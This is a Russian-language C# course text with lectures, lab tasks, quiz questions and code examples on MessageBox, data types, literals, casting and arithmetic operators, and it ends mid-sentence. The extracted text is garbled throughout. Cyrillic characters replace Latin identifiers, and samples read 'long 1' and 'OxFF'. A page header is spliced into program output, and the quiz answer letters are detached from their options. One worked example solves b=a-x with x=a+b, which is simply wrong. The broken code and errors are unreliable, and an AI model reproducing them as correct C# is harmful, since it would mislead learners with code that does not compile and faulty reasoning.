Show(String, String,
MessageBoxButtons,
Отображает окно сообщения с
заданным текстом, заголовком,
MessageBoxIcon)
кнопками и значком.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon)
Отображает перед указанным
объектом окно сообщения с
указанными текстом, заголовком,
кнопками и значком.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком и кнопкой по
умолчанию.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton)
Отображает перед указанным
объектом окно сообщения с
указанными текстом, заголовком,
кнопками, значком и кнопкой по
умолчанию.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions)
Отображает перед указанным
объектом окно сообщения с
указанными текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
MessageBoxDefaultButton,
MessageBoxOptions,
Boolean)
умолчанию, параметрами для
выбора, кнопкой " справка ".
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
String)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
справки и ключевое слово
Справки.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
HelpNavigator)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки и HelpNavigator.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
String)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
справки и ключевое слово
Справки.
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
HelpNavigator)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки и HelpNavigator.
Show(String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
HelpNavigator, Object)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки
Show(IWin32Window,
String, String,
MessageBoxButtons,
MessageBoxIcon,
MessageBoxDefaultButton,
MessageBoxOptions, String,
HelpNavigator, Object)
Отображает окно сообщения с
заданным текстом, заголовком,
кнопками, значком, кнопкой по
умолчанию, параметрами для
выбора, кнопкой " справка ",
используя заданный файл
Справки
Тема СРСП – 3. Создание программ для работы с
свойствами элементов.
Создать программу выводящую сообщение: «Здравствуйте». При
этом, чтобы имя появившегося окна было «Окно сообщения».
Решение:
private void button1_Click(object sender, EventArgs e)
{
MessageBox.Show("Привет мир!", "Окно сообщения");
}
Задание 3.
Сделайте так, чтобы после нажатия кнопки, она поменяла свой цвет.
Решение:
private void button1_Click(object sender, EventArgs e)
{
button1.BackColor = Color.Aqua;
}
Контрольные вопросы:
1. Перечислите основные элементы среды разработки
2. Какими свойствами обладает элемент управления button?
3. Какими событиями обладает элемент управления button?
4. Для чего используется метод Show элемента MessageBox?
5. Как вывести числовую переменную в окне MessageBox?
6. Перечислите основные этапы создания программ на С#?
ТЕСТЫ
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
Какой из приведенных операторов написано правильно
MessageBox.Show("Привет мир!", "Окно сообщения");
MessageShow("Привет мир!", "Окно сообщения");
MessageBox("Привет мир!", "Окно сообщения");
MessageBox.Show("Привет мир!")
Какой из приведенных операторов написано правильно
button1.BackColor = Color.Aqua;
button1Click.BackColor = Color.Aqua;
button1.BackColor: = Color.Aqua
button1,BackColor = Color.Aqua;
Что означает данный отрывок программы:
private void button1_Click(object sender, EventArgs e)
Начало процедуры button1
Конец процедуры button
Тело процедуры button1
Блок процедуры
Какой из перечисленных методов является методом
элемента MessageBox?
Show
Click
DblClick
Load
Какой из приведенных свойств является свойством
элемента управления button?
Anchor
AutoEllipsis
Image
Все варианты правильны
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1.
Изучить возможности интегрированной среды разработки
Microsoft Visual C#.
2.
Создать новый проект Windows приложения.
3.
Набрать, отладить простейшую программу, выводящую
несколько символов на экран.
Проверить работоспособность программы.
5.
Модифицировать программу, изменив, например, текст
выводимого сообщения.
6.
Освоить свойства элемента управления button
7.
Освоить работу с элементом Message
8.
Отладить и протестировать программу.
4.
Модуль 3.
Тема лекции: Типы данных, литералы и переменные.
Типы данных имеют особенное значение в С#, поскольку это
строго типизированный язык. Это означает, что все операции
подвергаются строгому контролю со стороны компилятора на
соответствие
типов,
причем
недопустимые
операции
не
компилируются. Следовательно, строгий контроль типов позволяет
исключить ошибки и повысить
надежность программ. Для
обеспечения контроля типов все переменные, выражения и значения
должны принадлежать к определенному типу. Такого понятия, как
"бестиповая" переменная, в данном языке программирования вообще
не существует. Более того, тип значения определяет те операции,
которые разрешается выполнять над ним. Операция, разрешенная
для одного типа данных, может оказаться недопустимой для другого.
Типы значений в C#
В С# имеются две общие категории встроенных типов данных:
типы значений и ссылочные типы. Они отличаются по содержимому
переменной. Если переменная относится к типу значения, то она
содержит само значение, например 3,1416 или 212. А если переменная
относится к ссылочному типу, то она содержит ссылку на значение.
В основу языка С# положены 13 типов значений, перечисленных
в таблице. Все они называются простыми типами, поскольку состоят
из единственного значения. (Иными словами, они не состоят из двух
или более значений.) Они составляют основу системы типов С#,
предоставляя простейшие, низкоуровневые элементы данных,
которыми можно оперировать в программе. Простые типы данных
иногда еще называют примитивными.
Тип
Размер
Значение
в битах
bool
1
Логический, предоставляет два значения:
«истина» или «Ложь»
byte
8
8-разрядный целочисленный без знака
char
16
Символьный
decimal 128
Десятичный (для финансовых расчетов)
double 64
С плавающей точкой двойной точности
float
32
С плавающей точкой одинарной точности
int
32
Целочисленный
long
64
Длинный целочисленный
sbyte
8
8-разрядный целочисленный со знаком
short
16
Короткий целочисленный
uint
32
Целочисленный без знака
ulong
64
Длинный целочисленный без знака
ushort
16
Короткий целочисленный без знака
Как следует из приведенной выше таблицы, в С# определены оба
варианта различных целочисленных типов: со знаком и без знака.
Целочисленные типы со знаком отличаются от аналогичных типов
без знака способом интерпретации старшего разряда целого числа.
Так, если в программе указано целочисленное значение со знаком, то
компилятор С# сгенерирует код, в котором старший разряд целого
числа
используется в качестве флага знака. Число считается
положительным, если флаг знака равен О, и отрицательным, если он
равен 1. Отрицательные числа практически всегда представляются
методом дополнения до двух, в соответствии с которым все двоичные
разряды отрицательного числа сначала инвертируются, а затем к
этому числу добавляется 1.
Целочисленные типы со знаком имеют большое значение для
очень многих
алгоритмов, но по абсолютной величине они
наполовину меньше своих аналогов без знака. Вот как, например,
выглядит число 32 767 типа short в двоичном представлении.
0111111111111111
Если установить старший разряд этого числа равным 1, чтобы
получить значение со знаком, то оно будет интерпретировано как -1,
принимая во внимание формат дополнения до двух. Но если
объявить его как значение типа ushort, то после установки в 1 старшего
разряда оно станет равным 65 535.
Идентификаторы и переменные
Для символического обозначения величин, переменных,
констант, функций и т.п. используются имена или идентификаторы.
Идентификаторы в языке C# – это последовательность знаков,
начинающаяся с буквы или знака подчеркивания. В идентификаторах
можно использовать заглавные и строчные латинские буквы, цифры и
знак подчеркивания. Длина идентификаторов произвольная.
Примеры правильных идентификаторов:
abc A12 NameOfPerson BITES_PER_WORD
abc и Abc – два разных идентификатора, т.е. заглавные и
строчные
буквы
различаются.
Примеры
неправильных
идентификаторов:
23X
a-b
Ряд слов в языке C++ имеет особое значение и не может
использоваться
в
качестве
идентификаторов.
Такие
зарезервированные слова называются ключевыми.
Понятие переменной
Программа оперирует информацией, представленной в виде
различных объектов и величин. Переменная – это символическое
обозначение величины в программе. Как ясно из названия, значение
переменной (или величина, которую она обозначает) во время
выполнения программы может изменяться.
С точки зрения архитектуры компьютера, переменная – это
символическое обозначение ячейки оперативной памяти программы,
в которой хранятся данные. Содержимое этой ячейки – это текущее
значение переменной.
В языке C# прежде чем использовать переменную, ее
необходимо объявить. Объявить переменную с именем x можно так:
int x;
В объявлении первым стоит название типа переменной int
(целое число), а затем идентификатор x – имя переменной. У
переменной x есть тип – в данном случае целое число. Тип
переменной определяет, какие возможные значения эта переменная
может принимать и какие операции можно выполнять над данной
переменной. Тип переменной изменить нельзя, т.е. пока переменная x
существует, она всегда будет целого типа.
Язык C# строго типизированный язык. Любая величина,
используемая в программе, принадлежит к какому-либо типу. При
любом использовании переменных в программе проверяется,
применимо ли выражение или операция к типу переменной.
Довольно часто смысл выражения зависит от типа участвующих в нем
переменных.
Например, если записать x+y, где x – переменная, то переменная
y должна быть одного из числовых типов.
Соответствие типов проверяется во время компиляции
программы. Если компилятор обнаруживает несоответствие типа
переменной и ее использования, он выдаст ошибку (или
предупреждение). Однако во время выполнения программы типы не
проверяются. Такой подход, с одной стороны, позволяет обнаружить
и исправить большое количество ошибок на стадии компиляции, а, с
другой стороны, не замедляет выполнения программы.
Тема семинара: Типы для представления чисел с
плавающей точкой.
Типы с плавающей точкой позволяют представлять числа с
дробной частью. В С# имеются две разновидности типов данных с
плавающей точкой: float и double. Они представляют числовые
значения с одинарной и двойной точностью соответственно.
Так, разрядность типа float составляет 32 бита, что приближенно
соответствует диапазону представления чисел от 5Е-45 до 3,4Е+38. А
разрядность типа double составляет 64 бита, что приближенно
соответствует диапазону представления чисел от 5Е-324 до 1,7Е+308.
В программировании на С# чаще применяется тип double, в
частности, потому, что во многих математических функциях из
библиотеки классов С#, которая одновременно является библиотекой
классов для среды .NET Framework, используются числовые значения
типа double. Например, метод Sqrt (), определенный в библиотеке
классов System. Math, возвращает значение типа double, которое
представляет собой квадратный корень из аргумента типа double,
передаваемого данному методу. В приведенном ниже примере
программы метод Sqrt () используется для вычисления радиуса
окружности по площади круга.
// Определить радиус окружности по площади круга.
using System;
class FindRadius {
static void Main() {
Double r;
Double area;
area = 10.0;
r = Math.Sqrt(area / 3.1416);
Console.WriteLine("Радиус равен " + г); } }
Результат выполнения этой программы выглядит следующим
образом.
Радиус равен 1.78412203012729
Тема лаб: Десятичный, символьный и логический тип
данных.
Десятичный тип данных
Вероятно, самым интересным среди всех числовых типов данных в С#
является тип decimal, который предназначен для применения в финансовых
расчетах. Этот тип имеет разрядность 128 бит для представления числовых
значений в пределах от 1Е-28 до 7,9Е+28. Вам, вероятно, известно, что для
обычных арифметических вычислений с плавающей точкой характерны
ошибки округления десятичных значений. Эти ошибки исключаются при
использовании типа decimal, который позволяет представить числа с
точностью до 28 (а иногда и 29) десятичных разрядов. Благодаря тому что
этот тип данных способен представлять десятичные значения без ошибок
округления, он особенно удобен для расчетов, связанных с финансами.
Ниже приведен пример программы, в которой тип decimal используется
в конкретном финансовом расчете. В этой программе цена со скидкой
рассчитывается на основании исходной цены и скидки в процентах.
// Использовать тип decimal для расчета скидки.
using System;
class UseDecimal {
static void Main() {
decimal price;
decimal discount;
decimal discounted_price;
// Рассчитать цену со скидкой.
price = 19.95m;
discount = 0.15m; // норма скидки составляет 15%
discounted_price = price - ( price * discount);
Console.WriteLine("Цена со скидкой: $" + discounted_price);
}
}
Результат выполнения этой программы выглядит следующим образом.
Цена со скидкой: $16.9575
Обратите внимание на то, что значения констант типа decimal в
приведенном выше примере программы указываются с суффиксом т. Дело в
том, что без суффикса m эти значения интерпретировались бы как
стандартные константы с плавающей точкой, которые несовместимы с
типом данных decimal. Тем не менее переменной типа decimal можно
присвоить целое значение без суффикса т, например 10.
Символы
В С# символы представлены не 8-разрядным кодом, как во многих
других языках программирования, например C++, а 16-разрядным кодом,
который называется уникодом (Unicode). В уникоде набор символов
представлен настолько широко, что он охватывает символы практически из
всех естественных языков на свете. Если для многих естественных языков, в
том числе английского, французского и немецкого, характерны относительно
небольшие алфавиты, то в ряде других языков, например китайском,
употребляются довольно обширные наборы символов, которые нельзя
представить 8-разрядным кодом. Для преодоления этого ограничения в С#
определен тип char, представляющий 16-разрядные значения без знака в
пределах от 0 до 65 535. При этом стандартный набор символов в 8разрядном коде ASCII является подмножеством уникода в пределах от 0 до
127. Следовательно, символы в коде ASCII по-прежнему остаются
действительными в С#.
Для того чтобы присвоить значение символьной переменной,
достаточно заключить это значение (т.е. символ) в одинарные кавычки. Так,
в приведенном ниже фрагменте кода переменной ch присваивается символ
X.
char ch;
ch = ’X’;
Значение типа char можно вывести на экран с помощью метода
WriteLine ().
Например, в следующей строке кода на экран выводится значение
переменной ch.
Console".WriteLine ("Значение ch равно: " + ch) ;
Несмотря на то что тип char определен в С# как целочисленный, его не
следует путать со всеми остальными целочисленными типами. Дело в том,
что в С# отсутствует автоматическое преобразование символьных значений в
целочисленные и обратно.
Например, следующий фрагмент кода содержит ошибку.
char ch;
ch = 88; // ошибка, не выйдет
Ошибочность приведенного выше фрагмента кода объясняется тем, что
8 8 — это целое значение, которое не преобразуется автоматически в
символьное. При попытке скомпилировать данный фрагмент кода будет
выдано соответствующее сообщение об ошибке. Для того чтобы операция
присваивания целого значения символьной переменной оказалась
допустимой, необходимо осуществить приведение типа.
Логический тип данных
Тип bool представляет два логических значения: "истина" и "ложь". Эти
логические значения обозначаются в С# зарезервированными словами true и
false соответственно. Следовательно, переменная или выражение типа bool
будет принимать одно из этих логических значений. Кроме того, в С# не
определено взаимное преобразование логических и целых значений.
Например, 1 не преобразуется в значение true, а 0 — в значение false.
Рассмотрим еще несколько примеров:
Пример 1: Найти значение перменной x из уравнения b=a-x.
private void button1_Click(object sender, EventArgs e)
{
double x, b = 10, a = 5;
x = a + b;
MessageBox.Show(x.ToString());
}
Вот как выглядит результат выполнения этой программы.
Пример 2: Вычислить расстояние от Земли до Солнца в дюймах.
using System;
class Inches {
static void Main() {
long inches;
long miles;
miles = 93000000; // 93 000 000 миль до Солнца
// 5 280 футов в миле, 12 дюймов в футе,
inches = miles * 5280 * 12;
Console.WriteLine("Расстояние до Солнца: " +
inches + " дюймов.");
}
}
Вот как выглядит результат выполнения этой программы.
Расстояние до Солнца: 5892480000000 дюймов.
Тема СРСП – 1.Литералы
В
С#
литералами
называются
постоянные
значения,
представленные в удобной для восприятия форме. Например, число
100 является литералом. Сами литералы и их назначение настолько
понятны, что они применялись во всех предыдущих примерах
программ без всяких пояснений. Но теперь настало время дать им
формальное объяснение.
В С# литералы могут быть любого простого типа. Представление
каждого литерала зависит от конкретного типа. Как пояснялось ранее,
символьные литералы заключаются в одинарные кавычки. Например,
' а' и ' % ' являются символьными литералами. Целочисленные
литералы указываются в виде чисел без дробной части. Например, 10
и -100 — это целочисленные литералы. Для обозначения литералов с
плавающей точкой требуется указывать десятичную точку и дробную
часть числа. Например, 11.123 — это литерал с плавающей точкой.
Для вещественных чисел с плавающей точкой в С# допускается также
использовать экспоненциальное представление.
У литералов должен быть также конкретный тип, поскольку С#
является строго типизированным языком. В этой связи возникает
естественный вопрос: к какому типу следует отнести числовой
литерал, например 2,123987 или 0 . 23? К счастью, для ответа на этот
вопрос в С# установлен ряд простых для соблюдения правил. Вопервых, у целочисленных литералов должен быть самый мелкий
целочисленный тип, которым они могут быть представлены, начиная с
типа int. Таким образом, у целочисленных литералов может быть
один из следующих типов: int, uint, long или ulong в зависимости от
значения литерала. И во-вторых, литералы с плавающей точкой
относятся к типу double.
Если вас не устраивает используемый по умолчанию тип
литерала, вы можете явно указать другой его тип с помощью
суффикса. Так, для указания типа long к литералу присоединяется
суффикс 1 или L. Например, 12 — это литерал типа int, a 12L —
литерал типа long. Для указания целочисленного типа без знака к
литералу присоединяется суффикс и или U. Следовательно, 100 — это
литерал типа int, a 100U — литерал типа uint. А для указания
длинного целочисленного типа без знака к литералу присоединяется
суффикс ul или UL. Например, 984375UL — это литерал типа ulong.
Кроме того, для указания типа float к литералу присоединяется
суффикс F или f.
Например, 10 .19F — это литерал типа float. Можете даже
указать тип double, присоединив к литералу суффикс d или D, хотя
это излишне. Ведь, как упоминалось выше, по умолчанию литералы с
плавающей точкой относятся к типу double.
И наконец, для указания типа decimal к литералу
присоединяется суффикс m или М. Например, 9 . 95М — это
десятичный литерал типа decimal.
Несмотря на то что целочисленные литералы образуют по
умолчанию значения типа int, uint, long или ulong, их можно
присваивать переменным типа byte, sbyte, short или ushort, при
условии, что присваиваемое значение может быть представлено
целевым типом.
Шестнадцатеричные литералы
Вам, вероятно, известно, что в программировании иногда
оказывается проще пользоваться системой счисления по основанию
16, чем по основанию 10. Система счисления по основанию 16
называется шестнадцатеричной. В ней используются числа от 0 до 9, а
также буквы от А до F, которыми обозначаются десятичные числа
10,11,12,13, 14 и 15. Например, десятичному числу 16 соответствует
шестнадцатеричное число 10.
Вследствие того что шестнадцатеричные числа применяются в
программировании довольно часто, в С# разрешается указывать
целочисленные литералы в шестнадцате- ричном формате.
Шестнадцатеричные литералы должны начинаться с символов Ох, т.е.
нуля и последующей латинской буквы "икс". Ниже приведены
некоторые примеры шестнадцатеричных литералов.
count = OxFF; // 255 в десятичной системе
incr = 0x1а; // 26 в десятичной системе
Тема СРСП – 2. Преобразование типов
В программировании нередко значения переменных одного типа
присваиваются переменным другого типа. Существует два типа
преобразований:
1.
Неявное преобразование
2.
Явное преобразование
Неявное преобразование
Когда данные одного типа присваиваются переменной другого
типа, неявное преобразование типов происходит автоматически при
следующих условиях:
• оба типа совместимы;
• диапазон представления чисел целевого типа шире, чем у
исходного типа.
Если оба эти условия удовлетворяются, то происходит
расширяющее преобразование. Например, тип int достаточно
крупный, чтобы вмещать в себя все действительные значения типа
byte, а кроме того, оба типа, int и byte, являются совместимыми
целочисленными типами, и поэтому для них вполне возможно
неявное преобразование.
// Продемонстрировать неявное преобразование типа long в тип
double.
using System;
class LtoD {
static void Main() {
long L;
double D;
L = 100123285L;
D = L;
Console.WriteLine("L и D: " + L + " " + D) ;
}
}
Явное преобразование
Несмотря на всю полезность неявных преобразований типов, они
неспособны удовлетворить все потребности в программировании,
поскольку допускают лишь расширяющие преобразования
совместимых типов. А во всех остальных случаях приходится
обращаться к приведению типов. Приведение — это команда
компилятору преобразовать результат вычисления выражения в
указанный тип. А для этого требуется явное преобразование типов.
Ниже приведена общая форма приведения типов.
{целевой_тип) выражение
Здесь целевой_тип обозначает тот тип, в который желательно
преобразовать указанное выражение. Рассмотрим для примера
следующее объявление переменных.
double х, у;
Если результат вычисления выражения х/у должен быть типа int,
то следует записать следующее.
(int) (х / у)
Несмотря на то что переменные х и у относятся к типу double,
результат вычисления выражения х/у преобразуется в тип int
благодаря приведению. В данном примере выражение х/у следует
непременно указывать в скобках, иначе приведение к типу int будет
распространяться только на переменную х, а не на результат ее
деления на переменную у. Приведение типов в данном случае
требуется потому, что неявное преобразование типа double в тип int
невозможно.
Если приведение типов приводит к сужающему
преобразованию, то часть информации может быть потеряна.
Например, в результате приведения типа long к типу int часть
информации потеряется, если значение типа long окажется больше
диапазона представления чисел для типа int, поскольку старшие
разряды этого числового значения отбрасываются. Когда же значение
с плавающей точкой приводится к целочисленному, то в результате
усечения теряется дробная часть этого числового значения. Так, если
присвоить значение 1,23 целочисленной переменной, то в результате в
ней останется лишь целая часть исходного числа A), а дробная его
часть (0,23) будет потеряна.
// Продемонстрировать приведение типов.
using System;
class CastDemo {
static void Main() {
double x, y;
byte b;
int i;
char ch;
uint u;
short s;
long 1;
x = 10.0;
у = 3.0;
// Приведение типа double к типу int, дробная часть
числа теряется.
i = (int) (x / у) ;
Console.WriteLine("Целочисленный результат деления
х / у: " + i) ;
Console.WriteLine();
// Приведение типа int к типу byte без потери данных.
i = 255;
b = (byte) i;
Console.WriteLine("b после присваивания 255: " + b +
" — без потери данных.");
// Приведение типа int к типу byte с потерей данных.
i = 257;
b = (byte) i;
Console.WriteLine("b после присваивания 257: " + b +
" -- с потерей данных.");
Console.WriteLine();
// Приведение типа uint к типу short без потери
данных.
u = 32000;
s = (short) u;
Console.WriteLine("s после присваивания 32000: " +
s + " — без потери данных.");
// Приведение типа uint к типу short с потерей данных,
u = 64000;
s = (short) u;
Console.WriteLine("s после присваивания 64000: " +
s + " -- с потерей данных.");
Console.WriteLine();
// Приведение типа long к типу uint без потери
данных.
l = 64000;
u = (uint) l;
Console.WriteLine("u после присваивания 64000: " + u +
" -- без потери данных.");
// Приведение типа long к типу uint с потерей данных.
l = -12;
u = (uint) l;
Console.WriteLine("u после присваивания -12: " + и +
" -- с потерей данных.");
Console.WriteLine();
// Приведение типа int к типу char,
b = 88; // код ASCII символа X
ch = (char) b;
Console.WriteLine("ch после присваивания 88: " + ch);
}
}
Вот какой результат дает выполнение этой программы.
Целочисленный результат деления х / у: 3
b после присваивания 255: 255 — без потери данных.
Глава 3. Типы данных, литералы и переменные 93
b после присваивания 257: 1 -- с потерей данных. i
s после присваивания 32000: 32000 -- без потери данных,
s после присваивания 64000: -1536 -- с потерей данных.
и после-присваивания 64000: 64000 -- без потери данных,
и после присваивания -12: 4294967284 — с потерей данных.
ch после присваивания 88: X
Тема СРСП – 3. Преобразование типов в выражениях
Помимо операций присваивания, преобразование типов
происходит и в самих выражениях. В выражении можно свободно
смешивать два или более типа данных, при условии их совместимости
друг с другом. Например, в одном выражении
допускается
применение типов short и long, поскольку оба типа являются
числовыми. Когда в выражении смешиваются разные типы данных,
они преобразуются в один и тот же тип по порядку следования
операций.
Преобразования типов выполняются по принятым в С#
правилам продвижения
типов. Ниже приведен алгоритм,
определяемый этими правилами для операций с двумя операндами.
ЕСЛИ один операнд имеет тип decimal, TO и второй операнд
продвигается к типу decimal (но если второй операнд имеет тип float
или double, результат будет ошибочным).
ЕСЛИ один операнд имеет тип double, TO и второй операнд
продвигается к типу double.
ЕСЛИ один операнд имеет тип float, TO и второй операнд
продвигается к типу float.
ЕСЛИ один операнд имеет тип ulong, TO и второй операнд
продвигается к типу ulong (но если второй операнд имеет тип sbyte,
short, int или long, результат будет ошибочным).
ЕСЛИ один операнд имеет тип long, TO и второй операнд
продвигается к типу long.
ЕСЛИ один операнд имеет тип uint, а второй — тип sbyte, short
или int, TO оба операнда продвигаются к типу long.
ЕСЛИ один операнд имеет тип uint, TO и второй операнд
продвигается к типу uint.
ИНАЧЕ оба операнда продвигаются к типу int.
Относительно правил продвижения типов необходимо сделать
ряд важных замечаний. Во-первых, не все типы могут смешиваться в
выражении. В частности, неявное преобразование типа float или
double в тип decimal невозможно, как, впрочем, и смешение типа
ulong с любым целочисленным типом со знаком. Для смешения этих
типов требуется явное их приведение.
Во-вторых, особого внимания требует последнее из приведенных
выше правил. Оно гласит: если ни одно из предыдущих правил не
применяется, то все операнды
продвигаются к типу int.
Следовательно, все значения типа char, sbyte, byte, ushort и short
продвигаются к типу int в целях вычисления выражения. Такое
продвижение типов называется целочисленным. Это также означает,
что результат выполнения всех арифметических операций будет
иметь тип не ниже int.
Следует иметь в виду, что правила продвижения типов
применяются только к
значениям, которыми оперируют при
вычислении выражения. Так, если значение переменной типа byte
продвигается к типу int внутри выражения, то вне выражения эта
переменная по-прежнему относится к типу byte. Продвижение типов
затрагивает только вычисление выражения.
Но продвижение типов может иногда привести к неожиданным
результатам. Если, например, в арифметической операции
используются два значения типа byte, то происходит следующее.
Сначала операнды типа byte продвигаются к типу int. А затем
выполняется операция, дающая результат типа int. Следовательно,
результат выполнения операции, в которой участвуют два значения
типа byte, будет иметь тип int.
Но ведь это не тот результат, который можно было бы с
очевидностью предположить.
Рассмотрим следующий пример программы.
// Пример неожиданного результата продвижения типов!
using System;
class PromDemo {
static void Main() {
byte b;
b = 10;
b = (byte) (b * b); // Необходимо приведение типов!!
Console.WriteLine("b: "+ b);
}
}
Контрольные вопросы:
1. Что такое тип данных?
2. Для чего предназначены типы данных в языке С#?
3. Какие типы данных предназначены для хранения целых чисел?
4. Какие типы данных предназначены для хранения
вещественных чисел?
5. Какие типы данных предназначены для хранения логических
значений?
6. Что такое идентификатор?
7. Что такое переменная?
ТЕСТЫ
1.
А)
В)
С)
D)
2.
А)
В)
С)
D)
3.
А)
В)
С)
D)
4.
А)
В)
С)
D)
5.
А)
В)
С)
D)
6.
А)
В)
С)
Какие данные можно хранить в переменных типа char
Строковые символы
Только один сивол
Дату
Время
Какие данные можно хранить в переменных типа float
Целые числа
Только один символ
Дату и время
Вешественные числа
Какие данные можно хранить в переменных типа int
Целые числа
Только один символ
Дату и время
Вещественные числа
Как можно объявить константу?
Любая переменная и есть константа
С помощью ключевого слова constanta
С помощью ключевого слова const
На языке С++ не существует понятии константы
Какой символ используется для присваивания значения?
=
!=
==
Let
Что такое идентификатор?
Это обычные операторы
Это символическое обозначение величин, переменных, констант,
функций и т.п.
Это только имена функций
D)
7.
А)
В)
С)
D)
8.
А)
В)
С)
D)
9.
А)
В)
С)
D)
10.
А)
В)
С)
D)
Это только имя нашего проекта
Какое из ниже приведенных идентификаторов является
правильным?
023
А34
23
2а34
Что такое переменная?
Это имя директивы процессора
Это устройство
Это обозначение некоторой части оперативной памяти в которой
находятся возвращаемые значения функций
это символическое обозначение ячейки оперативной памяти
программы, в которой хранятся данные.
Какое из ниже приведенных примеров объявления
переменной правильный?
int 2x;
х int;
int x
int x;
На языке С# можно ли использовать переменную не объявив
ее?
Да
Нет
Нет если это переменная типа int
Да если это переменная типа int
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОЙ РАБОТЫ
1. Освойте составные операторы присваивания
2. Освойте все свойства элемента управления groupBox
3. Измените текст элемента groupBox
4. Измените форму элемента groupBox
5. Распечатайте число в элементе groupBox
6. Проверьте логические свойства элемента groupBox
7. Освойте все свойства элемента управления checkBox
8. Измените текст элемента checkBox
9. Измените форму элемента checkBox
10. Проверьте логические свойства элемента checkBox
11. Измените цвет фона элемента checkBox
Модуль 4.
Тема лекции: Операторы. Арифметические операторы.
В языке С# предусмотрен обширный ряд операторов,
предоставляющих
программирующему
возможность
полного
контроля над построением и вычислением выражений. Большинство
операторов в С# относится к
следующим категориям:
арифметические, поразрядные, логические и операторы отношения.
Таблица арифметических операторов
Оператор
Назначение
+
Сложение
Вычитание
*
Умножение
/
Деление
%
Остаток от деления
-Декремент
++
Инкремент
Операторы +, -, * и / действуют так, как предполагает их
обозначение. Их можно применять к любому встроенному числовому
типу данных.
Действие арифметических операторов не требует особых
пояснений, за исключением следующих особых случаев. Прежде
всего, не следует забывать, что когда оператор / применяется к целому
числу, то любой остаток от деления отбрасывается; например,
результат целочисленного деления 10/3 будет равен 3. Остаток от этого
деления можно получить с помощью оператора деления по модулю
(%), который иначе называется оператором вычисления остатка. Он
дает остаток от целочисленного деления.
Например, 10 % 3 равно 1. В С# оператор % можно применять
как к целочисленным типам данных, так и к типам с плавающей
точкой. Поэтому 10.0 % 3.0 также равно 1.
// Продемонстрировать применение оператора %.
using System;
class ModDemo {
static void Main() {
int iresult, irem;
double dresult, drem;
iresult = 10 / 3;
irem = 10 % 3;
dresult = 10.0 / 3.0;
drem = 10.0 % 3.0;
Console.WriteLine("Результат и остаток от деления 10/3: " +
iresult + " " + irem);
Console.WriteLine("Результат и остаток от деления 10.0 / 3.0:
"+
dresult + " " + drem);
}
}
Результат выполнения этой программы приведен ниже.
Результат и остаток от деления 10/3: 3 1
Результат и остаток от деления 10.0 / 3.0: 3.33333333333333 1
Как видите, обе операции, % целочисленного типа и с
плавающей точкой, дают один и тот же остаток, равный 1.
Оператор инкремента увеличивает свой операнд на 1, а оператор
декремента уменьшает операнд на 1. Следовательно, оператор
х++;
равнозначен оператору
х = х + 1;
а оператор
х --;
равносилен оператору
х = х - 1;
Следует, однако, иметь в виду, что в инкрементной или
декрементной форме значение переменной х вычисляется только
один, а не два раза. В некоторых случаях это позволяет повысить
эффективность выполнения программы.
Оба оператора инкремента и декремента можно указывать до
операнда (в
префиксной форме) или же после операнда (в
постфиксной форме). Например, оператор х = х + 1; может быть
записан в следующем виде:
++х; // префиксная форма
или же в таком виде:
х++; // постфиксная форма
В приведенном выше примере форма инкремента (префиксная
или постфиксная) особого значения не имеет. Но если оператор
инкремента или декремента используется в длинном выражении, то
отличие в форме его записи уже имеет значение. Когда оператор
инкремента или декремента предшествует своему операнду, то
результатом операции становится значение операнда после
инкремента или декремента. А когда оператор инкремента или
декремента следует после своего операнда, то результатом операции
становится значение операнда до инкремента или декремента.
Рассмотрим
следующий фрагмент кода.
х = 10;
у = ++х;
В данном случае значение переменной у будет установлено
равным И, поскольку значение переменной х сначала увеличивается
на 1, а затем присваивается переменной у. Но во фрагменте кода
